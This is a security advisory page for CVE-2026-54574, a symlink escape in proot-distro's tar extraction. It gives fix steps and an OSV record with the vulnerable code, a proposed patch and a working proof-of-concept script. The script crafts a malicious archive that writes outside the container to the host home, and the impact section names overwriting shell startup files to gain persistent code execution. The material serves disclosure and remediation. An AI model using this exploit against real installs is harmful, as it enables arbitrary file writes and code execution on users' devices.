CVE-2026-54574: Proot distro `proot-distro Install` Has A Symlink Vulnerability
HIGHCVE-2026-54574 is a HIGH (CVSS 8.2) `proot-distro install` has a symlink vulnerability (CWE-61: UNIX Symbolic Link (Symlink) Following) affecting Proot distro libraries in the PyPI ecosystem. The issue involves `proot-distro install` has a symlink escape (arbitrary host file write) via malicious tar archive. Remediation is available by upgrading affected packages to version 5.1.5.
CVE-2026-54574 at a Glance
Security Impact
CVSS: 8.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).
How to Fix CVE-2026-54574
To remediate this vulnerability, upgrade all affected Proot distro dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install proot-distro>=5.1.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show proot-distro
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-54574, inspect your installed packages using pip:
pip show proot-distro
Analyze the terminal output to locate any version of Proot distro in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.1.5), your application is affected.
Note: The pip show proot-distro command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-61: UNIX Symbolic Link (Symlink) Following, where the product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. this could allow an attacker to cause the product to operate on unauthorized files. In Proot distro, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54574 Affected Proot distro Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
proot-distro
|
PyPI |
< 5.1.5
|
5.1.5
|
References
Frequently Asked Questions
What is CVE-2026-54574?
Which Proot distro versions are affected?
What version fixes CVE-2026-54574?
Is proot-distro affected?
What is the CVSS score of CVE-2026-54574?
What CWE is associated with CVE-2026-54574?
How can I check PyPI dependencies for CVE-2026-54574?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9xq3-3fqg-4vg7",
"modified" : "2026-07-29T16:32:34Z",
"published" : "2026-07-29T16:32:34Z",
"aliases" : [ "CVE-2026-54574" ],
"summary" : "`proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive",
"details" : "**Repository:** `termux/proot-distro` \n**Component:** `proot_distro/commands/install.py` → `_extract_plain_tar()`; also `helpers/docker.py` → `_apply_layer()` \n\n---\n\n## Affected Versions\n\n| Component | Version |\n|---------------|------------------------------|\n| proot-distro | 5.0.2 (confirmed vulnerable) |\n| Termux app | 0.119.0-beta.3 |\n| Device / ABI | Samsung Galaxy A23 / aarch64 |\n| Python (host) | 3.13 |\n\n---\n\n## Vulnerability Description\n\n`proot-distro install` extracts a plain tarball rootfs by calling `_extract_plain_tar()` in\n`proot_distro/commands/install.py`. This function correctly rejects tar member **names**\ncontaining `..` components, but applies **no equivalent check on symlink targets**\n(`member.linkname`). A tar archive can therefore:\n\n1. Plant a symlink inside the rootfs whose target is an **absolute host path**\n (e.g. `/data/data/com.termux/files/home`).\n2. Write a subsequent regular-file member whose path traverses through that symlink name.\n\nPython's `open()` follows the symlink, writing the file **on the host filesystem** at the\nprivilege level of the Termux process — entirely during `proot-distro install`, before the\ncontainer is ever run.\n\nThe same `_extract_plain_tar` function is reachable via `proot-distro reset`, and the\nequivalent `_apply_layer` in `helpers/docker.py` contains the same flaw.\n\n---\n\n## Vulnerable Code\n\n**`proot_distro/commands/install.py`**, `_extract_plain_tar()`:\n\n```python\nelif member.issym():\n # linkname taken verbatim from archive — no validation of target\n os.symlink(member.linkname, dest) # ← symlink planted on host\n\nelif member.isreg():\n dest = os.path.join(rootfs_dir, rel_path)\n with open(dest, 'wb') as out: # ← follows symlink above\n ...\n```\n\nThe existing traversal guard only covers member **names**:\n\n```python\nif any(p in ('..', '') for p in rel_parts):\n continue # only checks the name, not the symlink target\n```\n\nThere is **no check on `member.linkname`**. An absolute symlink target bypasses this guard\nentirely.\n\n| Check | Member name (`rel_path`) | Symlink target (`member.linkname`) |\n|------------------------------------|:------------------------:|:----------------------------------:|\n| Reject `..` components | ✅ | ❌ |\n| Confirm stays inside `rootfs_dir` | ❌ | ❌ |\n\n---\n\n## Proof of Concept\n\n### Step 1 — Craft a malicious archive\n\n```python\n# craft_evil_layer.py\nimport tarfile, io, hashlib\n\nPAYLOAD = b\"TERMUX_ESCAPE_SUCCESS\\n\"\n\nbuf = io.BytesIO()\nwith tarfile.open(fileobj=buf, mode='w:gz') as tf:\n\n # Plant symlink: <rootfs>/escape → /data/data/com.termux/files/home\n sym = tarfile.TarInfo(name='escape')\n sym.type = tarfile.SYMTYPE\n sym.linkname = '/data/data/com.termux/files/home'\n tf.addfile(sym)\n\n # Write file through symlink: <rootfs>/escape/POC_SUCCESS → host ~/POC_SUCCESS\n reg = tarfile.TarInfo(name='escape/POC_SUCCESS')\n reg.size = len(PAYLOAD)\n tf.addfile(reg, io.BytesIO(PAYLOAD))\n\ndata = buf.getvalue()\nwith open('evil.tar.gz', 'wb') as f:\n f.write(data)\n\nprint(\"Created evil.tar.gz\")\nprint(\"sha256:\", hashlib.sha256(data).hexdigest())\n```\n\n### Step 2 — Install the archive\n\n```\n$ python craft_evil_layer.py\nCreated evil.tar.gz\nsha256: 6693f415b22b2b006654da1819e08bef8bb569b9e819c62e879e79c7c060ef57\n\n$ proot-distro install ./evil.tar.gz\n[*] Installing from 'evil.tar.gz' as 'evil'...\n[*] Extracting rootfs from archive...\n[*] Finished installation.\n```\n\n### Step 3 — Verify proot-distro version\n\n```\n$ pkg show proot-distro | grep Version\nWARNING: apt does not have a stable CLI interface. Use with caution in scripts.\n\nVersion: 5.0.2\n```\n\n### Step 4 — Verify host write\n\n```\n$ cat ~/POC_SUCCESS\nTERMUX_ESCAPE_SUCCESS\n```\n\n`POC_SUCCESS` was written directly into the host Termux `$HOME` during installation,\nwith no container login required.\n\n---\n\n## Impact\n\n- **Arbitrary host file write** at the full privilege of the Termux process, triggered solely\n by `proot-distro install` — no container interaction required.\n- A malicious `.tar.gz` / `.tar.xz` / `.tgz` archive delivered via a file download, CI\n artifact, or compromised mirror is sufficient to exploit this.\n- Practical payloads include overwriting `~/.bashrc`, `~/.profile`,\n `$PREFIX/etc/bash.bashrc`, or any file in the Termux home/prefix, achieving **persistent\n code execution** the next time the user opens a shell.\n- Also reachable via `proot-distro reset` if the malicious archive is reused, and via\n `_apply_layer` in `helpers/docker.py`.\n\n---\n\n## Root Cause\n\n`_extract_plain_tar` validates member **names** against `..` traversal but places no\nrestriction on symlink **targets**. The two vectors are treated asymmetrically:\n\n| Check | Member name (`rel_path`) | Symlink target (`member.linkname`) |\n|------------------------------------|:------------------------:|:----------------------------------:|\n| Reject `..` components | ✅ | ❌ |\n| Confirm stays inside `rootfs_dir` | ❌ | ❌ |\n\nThe member-name check (`any(p in ('..', '') for p in rel_parts)`) is necessary but not\nsufficient: a symlink with an absolute target bypasses it entirely.\n\n---\n\n## Proposed Fix\n\nAdd a guard that rejects any symlink whose resolved target falls outside `rootfs_dir`.\nApply in both `_extract_plain_tar` and `_apply_layer`:\n\n```python\ndef _is_safe_symlink(rootfs_dir: str, dest: str, linkname: str) -> bool:\n \"\"\"Return True only if the symlink target resolves inside rootfs_dir.\"\"\"\n if os.path.isabs(linkname):\n return False # absolute targets always escape on the host\n resolved = os.path.normpath(os.path.join(os.path.dirname(dest), linkname))\n real_root = os.path.realpath(rootfs_dir)\n real_resolved = (os.path.realpath(resolved) if os.path.exists(resolved)\n else os.path.normpath(resolved))\n return real_resolved.startswith(real_root + os.sep) or real_resolved == real_root\n```\n\nThen in `_extract_plain_tar`:\n\n```python\nelif member.issym():\n if not _is_safe_symlink(rootfs_dir, dest, member.linkname):\n continue # drop unsafe symlink\n if os.path.lexists(dest):\n ...\n os.symlink(member.linkname, dest)\n```\n\nApply the identical guard inside `_apply_layer` in `helpers/docker.py`.\n\n> **Note:** A stricter alternative — matching Docker's own behavior — is to **rewrite**\n> absolute symlink targets to relative paths within the rootfs rather than dropping them,\n> to avoid breaking legitimate images that use absolute intra-rootfs symlinks such as\n> `/usr/lib → /lib`.\n\n---\n\n*Confirmed on proot-distro 5.0.2, Termux on Android/aarch64.* \n*Maintainer: @sylirre — report via GitHub Security Advisory on the `termux/proot-distro` repository.*",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "proot-distro"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "5.1.5"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 5.1.4"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/termux/proot-distro/security/advisories/GHSA-9xq3-3fqg-4vg7"
}, {
"type" : "WEB",
"url" : "https://github.com/termux/proot-distro/commit/a96d7a9667f38e45d812614852ee3915d1c0ae45"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/termux/proot-distro"
}, {
"type" : "WEB",
"url" : "https://github.com/termux/proot-distro/releases/tag/v5.1.5"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-61" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-29T16:32:34Z",
"nvd_published_at" : null
}
}